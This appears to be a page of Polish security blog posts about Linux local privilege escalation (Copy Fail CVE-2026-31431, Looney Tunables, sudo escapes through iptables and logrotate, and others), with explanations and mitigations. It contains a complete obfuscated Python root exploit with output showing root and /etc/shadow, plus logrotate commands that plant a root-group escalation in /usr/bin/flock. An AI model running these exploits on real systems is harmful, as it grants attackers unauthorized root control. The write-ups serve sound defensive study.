NFsec Logo

CVE-2023-32233 i powrót unprivileged user namespaces

11/05/2023 w Bezpieczeństwo 1 komentarz.

P

atryk Sondej oraz Piotr Krysiuk zgłosili lukę w jądrze Linuksa pozwalającą lokalnym użytkownikom na eskalację ich uprawnień do poziomu administratora, co pozwala na przejęcie pełnej kontroli nad systemem. Błąd use-after-free występuje w komponencie netfilter nf_tables podczas przetwarzania żądań wsadowych aktualizujących konfigurację i może zostać nadużyty do wykonania dowolnego odczytu i zapisu pamięci jądra. Dla przypomnienia: netfilter to wbudowany w jądro Linuksa framework do filtrowania pakietów i translacji adresów sieciowych (ang. Network Address Translation), który jest zarządzany przez takie narzędzia jak iptables / nftables i UFW (ang. Uncomplicated Firewall).
[ czytaj całość… ]

Copy Fail (CVE-2026-31431): 732 bajty do przejęcia kontroli nad systemem

30/04/2026 (tydzień temu) w Bezpieczeństwo Możliwość komentowania Copy Fail (CVE-2026-31431): 732 bajty do przejęcia kontroli nad systemem została wyłączona

P

ojawiła się jedna z najbardziej znaczących luk w zabezpieczeniach jądra systemu Linux ostatnich lat. „Copy Fail”, zidentyfikowana jako CVE-2026-31431, pozwala dowolnemu lokalnemu użytkownikowi na uzyskanie uprawnień administratora w niemal każdej popularnej dystrybucji wydanej po 2017 roku. W świecie cyberbezpieczeństwa błędy typu Local Privilege Escalation (LPE) często wymagają skomplikowanych technik, wyścigów procesów (ang. race conditions) lub precyzyjnego dopasowania do konkretnej wersji jądra systemu. „Copy Fail” przełamuje ten schemat. Jest to błąd logiczny, który jest w pełni deterministyczny, nie wymaga „wyścigu” i działa za pomocą krótkiego, 732-bajtowego skryptu w Pythonie, który nie wymaga nawet kompilacji:

#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=\
a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=\
t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3)\
,],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b061\
0af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e\
10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

Rekonstrukcja kodu wymaga usunięcia znaku "\" na końcu linii:

agresor@darkstar:~$ chmod +x sploit.py
agresor@darkstar:~$ ./sploit.py
# id
uid=0(root) gid=1000(agresor) groups=1000(agresor)
# head -1 /etc/shadow
root:*:20135:0:99999:7:::
# head -1 /etc/os-release
PRETTY_NAME="Ubuntu 24.04.2 LTS"

Luka bierze się z nieszczęśliwego splotu trzech niezależnych funkcjonalności jądra, które osobno są bezpieczne, ale razem tworzą krytyczną podatność (coś na wzór chained vulnerability):

  • Interfejs AF_ALG: Pozwala on programom w przestrzeni użytkownika na korzystanie z algorytmów kryptograficznych jądra. Jest on domyślnie dostępny dla nieuprzywilejowanych użytkowników.
  • Funkcja splice(): Służy do wydajnego przesyłania danych między deskryptorami plików bez kopiowania ich do przestrzeni użytkownika.
  • Optymalizacja in-place w AEAD: Wprowadzona w 2017 roku zmiana w pliku algif_aead.c pozwoliła na wykonywanie operacji szyfrowania / deszyfrowania w tym samym obszarze pamięci (źródło i cel są identyczne).

Przebieg ataku jest następujący: otwierane jest gniazdo AF_ALG i wybierany algorytm authencesn (uwierzytelnione szyfrowanie). Następnie używa splice(), aby przesłać dane z pliku systemowego (np. /usr/bin/su), który jest tylko do odczytu, do gniazda kryptograficznego. Błąd polega na tym, że podczas operacji deszyfrowania algorytm authencesn wykonuje tzw. scratch write – zapisuje 4 bajty numeru sekwencyjnego (seqno_lo) do bufora docelowego. Ponieważ dzięki splice() bufor ten wskazuje bezpośrednio na page cache (tutaj: pamięć podręczną stron pamięci) danego pliku w jądrze, system operacyjny nadpisuje fragment pliku w pamięci RAM.

Dlaczego ta luka jest groźna? Ponieważ skrypt działa bez modyfikacji na wielu dystrybucjach (Ubuntu, Amazon Linux, RHEL, SUSE i innych) korzystających z jąder wydanych po 2017 roku. Ponadto modyfikacja prowadząca do eskalacji uprawnień następuje tylko w pamięci RAM (wspomniany page cache), a plik na dysku twardym pozostaje niezmieniony – dlatego tradycyjne narzędzia sprawdzające integralność plików niczego nie wykryją. Ze względu na fakt, że page cache jest współdzielony przez wszystkie procesy na hoście, w tym przez kontenery – oznacza to, że atakujący może przeprowadzić ucieczkę z kontenera i przejąć kontrolę nad całym węzłem (np. w klastrze Kubernetes), modyfikując pamięć podręczną plików systemowych hosta.

Głównym rozwiązaniem jest aktualizacja jądra systemu do wersji zawierającej poprawkę (revert błędnej optymalizacji algif_aead.c do out-of-place). Tymczasowym jest wyłączenie modułu algif_aead:

# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
# rmmod algif_aead 2>/dev/null || true

Dla wielu standardowych systemów nie powinno mieć to negatywnego impaktu na ich działanie. Jeśli jakaś aplikacja używała algif_aead, po jego wyłączeniu po prostu przełączy się na standardowe biblioteki kryptograficzne (np. OpenSSL działający na CPU). W większości przypadków różnica w szybkości jest niezauważalna dla człowieka. W razie wątpliwości możemy za pomocą poleceń:

# lsof | grep AF_ALG
# ss -xa

sprawdzić czy w systemie nie są otwierane gniazda typu aead.

Więcej informacji: copy.fail, Copy Fail: 732 Bytes to Root on Every Major Linux Distribution, Ubuntu CVE-2026-31431, RedHat CVE-2026-31431

Uwalniamy program ping od setuid i capabilities

28/04/2026 (2 tygodnie temu) w Administracja, Bezpieczeństwo Możliwość komentowania Uwalniamy program ping od setuid i capabilities została wyłączona

N

iewiele osób wie, że od wersji jądra 3.0 (Lipiec 2011 rok – szybsza wzmianka grudzień 2010 r.) program ping nie potrzebuje bitu SUID (ang. Set User ID), ani innych rozszerzonych zdolności typu CAP_NET_RAW, aby poprawnie działać. Wprowadzona do tej wersji jądra łatka dodała gniazdo typu IPPROTO_ICMP, które umożliwia wysyłanie wiadomości typu ICMP_ECHO i odbieranie odpowiadających im komunikatów ICMP_ECHOREPLY bez żadnych specjalnych uprawnień. Jest to podobny mechanizm do tego, który został zaimplementowany w MacOS X. Wcześniej, aby wysłać pakiet ICMP_ECHO (Echo Request), program musiał otworzyć tzw. surowe gniazdo (ang. raw socket). W systemach *nix surowe gniazda są niezwykle potężne i niebezpieczne, ponieważ pozwalają programowi samodzielnie konstruować dowolne nagłówki pakietów, co może być wykorzystane np. do podszywania się (spoofingu) pod inne adresy IP lub ataków DoS/DDoS. Dlatego dostęp do nich zazwyczaj ma tylko administrator systemu. Jednak poprawka c319b4d wprowadziła nowy typ gniazda, który jest „bezpieczniejszy”, ponieważ jądro systemu samo pilnuje struktury pakietu ICMP. Użytkownik może wysłać prośbę o komunikat diagnostyczny do sieci za pomocą programu ping, ale jądro nie pozwoli mu sfałszować adresu źródłowego ani zmodyfikować krytycznych części nagłówka, które mogłyby zaszkodzić badanej sieci.

Niestety wiele dystrybucji wciąż jeszcze ustawia bit SUID dla programu ping:

root@darkstar:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 74384 Mar 31  2024 /bin/ping

Powoduje to, że każdy użytkownik uruchamiający program ping na moment staje się administratorem, a jeśli w kodzie tego programu znajdzie się błąd (np. przepełnienie bufora) – atakujący może przejąć pełną kontrolę nad systemem. Spójrzmy teraz na wprowadzone ustawienia jądra net.ipv4.ping_group_range (dostępne przez sysctl), które definiuje zakres identyfikatorów grup (GID), mających prawo do tworzenia specjalnego typu gniazd:

socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)

Czyli:

root@darkstar:~# sysctl net.ipv4.ping_group_range
net.ipv4.ping_group_range = 1	0

Domyślnie większość dystrybucyjnych jąder systemu wciąż ma ustawioną wartość „1 0„. Jest to sztuczka powodująca, że jeśli „startowa” wartość identyfikatora grupy (GID) jest większa niż „końcowa” wartość GID to zakres jest uważany za pusty. To skutecznie wyłącza tę funkcję dla wszystkich, dopóki administrator systemu jej nie skonfiguruje. Co w uproszczeniu oznacza, że żaden nieuprzywilejowany użytkownik nie będzie mógł używać nowego typu gniazd ICMP, a polecenie ping powróci do używania tradycyjnych (i bardziej uprzywilejowanych) surowych gniazd. Sprawdźmy jak to działa w praktyce:

root@darkstar:~# chmod u-s /bin/ping

agresor@darkstar:~$ ping nfsec.pl
ping: Lacking privilege for icmp socket.

root@darkstar:~# id agresor
uid=1000(agresor) gid=1000(agresor) groups=1000(agresor)

root@darkstar:~# echo "1000 1000" > /proc/sys/net/ipv4/ping_group_range

agresor@darkstar:~$ ping -c 1 nfsec.pl
PING nfsec.pl (147.135.209.161): 56 data bytes
64 bytes from 147.135.209.161: icmp_seq=0 ttl=125 time=26.176 ms
--- nfsec.pl ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
round-trip min/avg/max/stddev = 26.176/26.176/26.176/0.000 ms

Powyższy zabieg daje nam kilka korzyści. Po pierwsze eliminację bitu SUID, co zmniejsza powierzchnię ataku na system. Po drugie administrator systemu może precyzyjnie określić, które grupy użytkowników mogą używać narzędzi sieciowych (np. 0 2147483647 da je praktycznie każdemu użytkownikowi). I ostatnim argumentem jest także uproszczenie uprawnień w środowiskach kontenerowych (Docker / Kubernetes), które również nie będą wymagały CAP_NET_RAW do używania programu ping.

Więcej informacji: ICMP

Ukryty mechanizm eskalacji uprawnień za pomocą różnych formatów binarnych

04/11/2025 w Bezpieczeństwo, Pen Test Możliwość komentowania Ukryty mechanizm eskalacji uprawnień za pomocą różnych formatów binarnych została wyłączona

R

óżne formaty binarne (ang. Miscellaneous Binary Format) to mechanizm jądra Linuksa, który umożliwia systemowi rozpoznawanie i uruchamianie dowolnych formatów plików wykonywalnych za pomocą określonych programów w przestrzeni użytkownika, takich jak: interpretery, emulatory lub maszyny wirtualne. Głównym celem BINFMT_MISC jest rozszerzenie zdolności jądra do interpretowania, jak należy uruchomić dany plik, który nie jest natywnym formatem ELF (ang. Executable and Linkable Format) Linuksa. Użytkownik (z uprawnieniami administratora) może zarejestrować nowy format binarny w określonej ścieżce wirtualnego systemu plików procfs. Rejestracja polega na zdefiniowaniu kryteriów dopasowania plików, które mogą opierać się na: magicznych bajtach (ang. magic bytes) – sekwencji bajtów na początku pliku, które są charakterystyczne dla danego formatu; rozszerzeniu nazwy pliku – na przykład: .py, .sh, .pl itd. W ten sposób użytkownik może po prostu wpisać nazwę pliku, np. skrypt.py, a jądro automatycznie rozpozna jego format i przekaże go do odpowiedniego interpretera, tak jakby był natywnym plikiem wykonywalnym Linuksa (a skrypt nie musi nawet posiadać wewnątrz siebie definicji shebang).
[ czytaj całość… ]

Uciekając z sudo – część szósta

24/09/2024 w Bezpieczeństwo Możliwość komentowania Uciekając z sudo – część szósta została wyłączona

P

oprzez wykorzystanie dowolnych komentarzy zawierających specjalny znak nowej linii: „\n” i za pośrednictwem poleceń iptables oraz iptables-save możemy nadpisać dowolny plik z prawami administratora i częściowo kontrolować zapisane wiersze – częściowo, ponieważ moduł komentarzy w iptables pozwala na umieszczenie 256 znaków, a zapis pliku poprzez iptables-save wprowadza pewne dane z utworzonych reguł zapory ogniowej (ang. firewall), które są dodawane przed i po wstrzykniętym komentarzu. W systemie Linux jest przynajmniej jeden plik, który nie przejmuje się niepotrzebnymi wierszami i je ignoruje, a jest nim (nie)sławny plik /etc/passwd.
[ czytaj całość… ]

CVE-2023-4911 – Looney Tunables

12/10/2023 w Bezpieczeństwo Możliwość komentowania CVE-2023-4911 – Looney Tunables została wyłączona

N

iedawno firma Qualys odkryła i zgłosiła krytyczny błąd w popularnym ekosystemie bibliotek GLIBC, który jest domyślnie instalowany w większości systemów operacyjnych opartych na Linuksie. Wspomniany błąd polega na przepełnieniu bufora w kodzie odpowiedzialnym za obsługę specjalnych zmiennych środowiskowych podczas uruchamiania procesu, co może skutkować lokalną eskalacją uprawnień. Luce przypisano CVE-2023-4911 z oceną 7,8 co daje jej wysoki poziom podatności (w przypadku wykorzystania atakujący może uzyskać uprawnienia administratora w systemie). Opublikowano już kilka wersji testowych eksploitów dla tego błędu – PoC1, PoC2, PoC3, PoC4. Przykłady te pokazują, że sama eksploatacja jest dość prosta i nawet przy zastosowaniu siłowego zgadywania adresu pamięci (ze względu na ASLR) eskalacja może nastąpić w czasie krótszym niż 5 minut.

GLIBC jest domyślnie instalowany w wielu popularnych dystrybucjach Linuksa: Ubuntu, Debian, Fedora, RedHat. Zawiera dynamiczny linker ładujący (ld.so), czyli fragment oprogramowania odpowiedzialny za ładowanie wszystkich obiektów współdzielonych potrzebnych do uruchomienia programu. Jego zadania można opisać w kilku punktach: uruchamianie pliku binarnego; ładowanie bibliotek współdzielonych; obsługa zmiennych LD_PRELOAD i LD_LIBRARY_PATH; zarządzanie pamięcią i mapowanie pliku binarnego w pamięci. Luka znaleziona przez badaczy z Qualys ma miejsce podczas inicjalizacji dynamicznego linkera, a konkretnie podczas obsługi zmiennej środowiskowej GLIBC_TUNABLES. Zmienna ta pozwala na dostosowanie zachowania GLIBC podczas kolejnych zdarzeń. Listę dostępnych opcji dostrajania można uzyskać, uruchamiając następujące polecenie:

/lib64/ld-linux-x86-64.so.2 --list-tunables

Opcje dostrajające muszą zostać dostarczone do docelowego pliku binarnego jako lista oddzielonych od siebie dwukropkami par wartość=klucz ( „tunable1=aaa:tunable2=bbb”). Wspomniany linker jest odpowiedzialny za analizowanie i ostateczne usuwanie wrażliwych na bezpieczeństwo opcji dostrajania ze zmiennych środowiskowych. Co dokładnie się dzieje podczas tego procesu? Otóż funkcja __tunables_init (w której prowadzono błąd) przegląda zmienne środowiskowe i wyszukuje tej o nazwie: GLIBC_TUNABLES. Po jej znalezieniu wywołuje inną funkcję o nazwie tunables_strdup w celu utworzenia kopii zmiennej i rozpoczęcia jej przetwarzania. Ze względu na fakt, że GLIBC nie jest jeszcze zainicjowany ostatnia funkcja używa pod maską __minimal_malloc, która wywołuje mmap w celu zażądania pamięci od jądra systemu. Powoduje to alokację pamięci z pamięci wirtualnej zamiast ze sterty.

Możliwość przepełnienie bufora w tym procesie jest możliwa ze względu na sposób analizowania argumentów. Jeśli opcja dostrajająca będzie miała format: „tunable1=tunable2=bbb” zostanie ona potraktowana na początku jako: tunable1=”tunable2=bbb”, a później jako: „tunable2=bbb”. Spowoduje to skopiowanie większej ilości danych do przydzielonego bufora, niż jest to dozwolone. Chociaż luka ta została wykryta podczas przeglądu kodu źródłowego, badacze z Qualys poddali również testowanie tej logiki za pomocą fuzzingu i z pomocą programu AFL++ oraz libFuzzer powtórzyli ten błąd w mniej niż sekundę (przekazali tylko do programów listę opcji dostrajających z powyższego polecenia). PoC testujący podatność:

agresor@darkstar:~$ env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" \
"Z=`printf '%08192x' 1`" /usr/bin/su --help
Segmentation fault (core dumped)

Wykorzystanie luki polega na utworzeniu ładunku (ang. payload) modyfikującego wskaźnik l_info[DT_RPATH] (ścieżka wyszukiwania bibliotek), co może zmusić ld.so do załadowania obiektów współdzielonych z niezaufanych katalogów i wykonania dowolnego kodu (jako root, jeśli uruchomimy program z bitem SUID). Błąd udało wykorzystać się w domyślnych instalacjach Fedory 37 i 38, Ubuntu 22.04 i 23.04, Debianie 12 i 13; inne dystrybucje prawdopodobnie też są podatne na ataki (jedynym godnym uwagi wyjątkiem jest Alpine Linux, który używa musl libc, a nie glibc).

Więcej informacji: CVE-2023-4911, Detecting and mitigating CVE-2023-4911, Exploiting the Looney Tunables vulnerability on HTB, Looney Tunables – Local Privilege Escalation in the glibc’s ld.so

Uciekając z sudo – część piąta

04/10/2023 w Bezpieczeństwo Możliwość komentowania Uciekając z sudo – część piąta została wyłączona

K

olejna część ucieczki z sudo będzie opierała się na wykorzystaniu programu logrotate. Zakładamy, że w systemie (tutaj Ubuntu 22.04) jest zainstalowany pakiet man-db, a użytkownik posiada możliwość uruchamiania programu logrotate z dowolnymi argumentami:

agresor ALL=(ALL:ALL) NOPASSWD: /usr/sbin/logrotate *

Okazuje się, że jeśli użyjemy parametru -l jesteśmy w stanie nadpisać zawartość dowolnego pliku traktując go jako dziennik wykonania programu logrotate. Dlatego możliwości wykorzystania tej luki są wszechstronne. Dla eskalacji uprawnień najlepszym scenariuszem jest, aby nadpisywany plik był wykonywany z uprawnieniami administratora. Przykładem tutaj może być skrypt znajdujący się w ścieżce: /etc/cron.daily/man-db. Uruchamiając logrotate za pomocą poleceń:

sudo logrotate -l /etc/cron.daily/man-db \
'2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;'

Nadpiszemy zawartość skryptu man-db tekstem:

error: cannot stat 2>/dev/null;/usr/sbin/usermod -a -G root agresor;exit 0;
: No such file or directory
Reading state from file: /var/lib/logrotate/status
Allocating hash table for state file, size 64 entries

I w tym momencie może się nam wydawać, że wystarczy poczekać jeden dzień na kolejne uruchomienie daemona cron(tab), aby skrypt uruchomił polecenie usermod i dodał użytkownika agresor do grupy administracyjnej. Nic bardziej mylnego – ponieważ każdy skrypt umieszczony w ścieżkach /etc/cron.(daily|weekly|monthly) musi zaczynać się od sekwencji shebang. W przeciwnym wypadku otrzymamy błąd run-parts: failed to exec script.sh: Exec format error:

root@darkstar:~# test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
/etc/cron.daily/man-db:
run-parts: failed to exec /etc/cron.daily/man-db: Exec format error
run-parts: /etc/cron.daily/man-db exited with return code 1

We need to go deeper…

Skoro skrypt w pierwszej linii wykonywania musi mieć odpowiedni format – to może warto zmodyfikować jakiś nieznaczący plik wewnątrz tego skryptu? Zresztą jak spojrzymy w zawartość skryptów w /etc/cron.(daily|weekly|monthly) to większość z nich nie jest wykonywana ze względu na systemd

# Skip if systemd is running.
if [ -d /run/systemd/system ]; then
  exit 0
fi

Spójrzmy zatem, co zamierza z opóźnieniem uruchomić systemd:

root@darkstar:~# systemctl list-timers 
NEXT     
Wed 2023-10-04 00:30:28 CEST 
LEFT
9min 2s left  
LAST
Tue 2023-07-04 18:02:24 CEST 
PASSED
2 months 30 days ago  
UNIT
apt-daily.timer                
ACTIVATES
apt-daily.service

Mamy szczęście. Za 9 minut wystartuje serwis apt-daily. Zobaczmy, co uruchamia:

agresor@darkstar:/usr/bin$ grep Exec /lib/systemd/system/apt-daily.service
ExecStartPre=-/usr/lib/apt/apt-helper wait-online
ExecStart=/usr/lib/apt/apt.systemd.daily update

Skrypt /usr/lib/apt/apt.systemd.daily z argumentem update. Jeśli uruchomimy go z naszego użytkownika może uda znaleźć się plik binarny lub inny skrypt odpowiedni do modyfikacji:

agresor@darkstar:~$ bash -x /usr/lib/apt/apt.systemd.daily update
+ '[' update = lock_is_held ']'
++ apt-config shell StateDir Dir::State/d
+ eval 'StateDir='\''/var/lib/apt/'\'''
++ StateDir=/var/lib/apt/
+ exec
/usr/lib/apt/apt.systemd.daily: line 326: /var/lib/apt//daily_lock: Permission denied
+ flock -w 3600 3
flock: 3: Bad file descriptor
+ echo 'E: Could not acquire lock'
E: Could not acquire lock
+ exit 1

flock wyglada na dobrego kandydata:

cp /usr/bin/flock /tmp/flock_to_restore
sudo logrotate -l /usr/bin/flock \
'2>/dev/null; /usr/bin/echo > /tmp/Pwn3d; /usr/sbin/usermod -a -G root agresor; exit 0;'

I rzeczywiście po uruchomieniu przez apt-daily.timer serwisu apt-daily.service wyzwolił on zmodyfikowany plik /usr/bin/flock, który wykonał w systemie nasze instrukcje z prawami administratora:

root@darkstar:~# grep apt-daily.service /var/log/syslog
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Deactivated successfully.
Oct  4 00:31:45 darkstar systemd[1]: apt-daily.service: Consumed 31.311s CPU time.
root@darkstar:~# ls -al /tmp/Pwn3d
-rw-r--r-- 1 root root 1 Oct  4 00:30 /tmp/Pwn3d
root@darkstar:~# id agresor
uid=1000(agresor) gid=1000(agresor) groups=1000(agresor),0(root)

Przy okazji omawiania tego przykładu warto wspomnieć o projekcie, który powstał na bazie GTFOBins. GTFOArgs to wyselekcjonowana lista plików binarnych systemów *nix, którymi można manipulować w celu wstrzykiwania argumentów, co może skutkować powstawaniem luk w zabezpieczeniach, czego byliśmy właśnie świadkami.

Więcej informacji: root with a single command: sudo logrotate, Another way to exploit 'sudo logrotate’, Abusing a race condition in logrotate to elevate privileges

Brak sympatii dla negatywnych uprawnień

16/09/2023 w Bezpieczeństwo Możliwość komentowania Brak sympatii dla negatywnych uprawnień została wyłączona

S

ystem Linux oferuje różnorodne metody przyznawania uprawnień do plików. Oprócz tradycyjnej, uznaniowej kontroli dostępu (DACDiscretionary Access Control) obsługuje również listy kontroli dostępu (ACLAccess Control Lists) i obowiązkową kontrolę dostępu (MACMandatory Access Control). Wszystkie te mechanizmy działają na podstawie przyznawania uprawnień, gdy domyślnie nic nie jest dozwolone. To podejście jest również czasami określane jako listy dostępowe (ang. allow list). Analogicznie, jak przy tworzeniu reguł dla zapór sieciowych – blokujemy wszystko i zezwalamy na selektywny ruch. Jednak zarówno DAC i jego rozwinięcie ACL pozwalają na implementację negatywnych uprawnień. Negatyw – występuje tutaj jako pojęcie odwrotności pozytywu – czyli dodawania uprawnień w zupełnie inny sposób niż to przyjęto – odwołując się do poprzedniego przykładu – blokujemy selektywny ruch, ale wszystko inne jest dozwolone. W przypadku dostępu do plików uprawnienia takie uniemożliwiają dostęp określonym użytkownikom lub grupom, gdy wszyscy inni zachowują dostęp. Tego typu praktyka jest raczej rzadkością, za to powszechnie postrzegana jako zła w przypadku uprawnień i ruchu sieciowego.
[ czytaj całość… ]

Za mały ekran dla systemd – CVE-2023-26604

21/03/2023 w Bezpieczeństwo Możliwość komentowania Za mały ekran dla systemd – CVE-2023-26604 została wyłączona

C

iekawa podatność pojawiła się w systemd, która bazuje na jednej z ucieczek z programu sudo. Otóż wersje systemd w wersji sprzed 247 umożliwiają eskalację uprawnień poprzez ominięcie ograniczeń uprawnień nakładanych przez konfigurację (/etc/sudoers) programu sudo dla danego użytkownika. Na przykład systemd w podatnych wersjach nie ustawia wartości „1” dla zmiennej LESSSECURE, dlatego program less biorący udział w tym łańcuchu zdarzeń jest w stanie uruchomić inny program (np. powłokę shell) z uprawnieniami administratora systemu. Wystarczy zmusić terminal do przekazania danych wyjściowych polecenia systemctl do programu less, co możemy bardzo prosto osiągnąć poprzez zmniejszenie okna samego terminala.
[ czytaj całość… ]

Gasimy clamd jako zwykły użytkownik

22/02/2023 w Bezpieczeństwo Możliwość komentowania Gasimy clamd jako zwykły użytkownik została wyłączona

C

lamAV to silnik antywirusowy typu open source, który jest szeroko stosowany na serwerach pocztowych oraz różnych komercyjnych, „zamkniętych skrzynkach”. 15 lutego 2023 roku na blogu programu został opublikowany biuletyn bezpieczeństwa szczegółowo opisujący potencjalną lukę umożliwiającą zdalne wykonanie kodu w swoim parserze systemu plików HFS+ (głównym problemem jest brak sprawdzania rozmiaru podczas kopiowania bloków do bufora węzła). Luce tej nadano CVE: CVE-2023-20032. Co ciekawe podczas analizy poprawek tych luk Jared Stroud natknął się na otwarty pull request wskazujący, że nieuprzywilejowani użytkownicy mogą wyłączyć daemona clamav.
[ czytaj całość… ]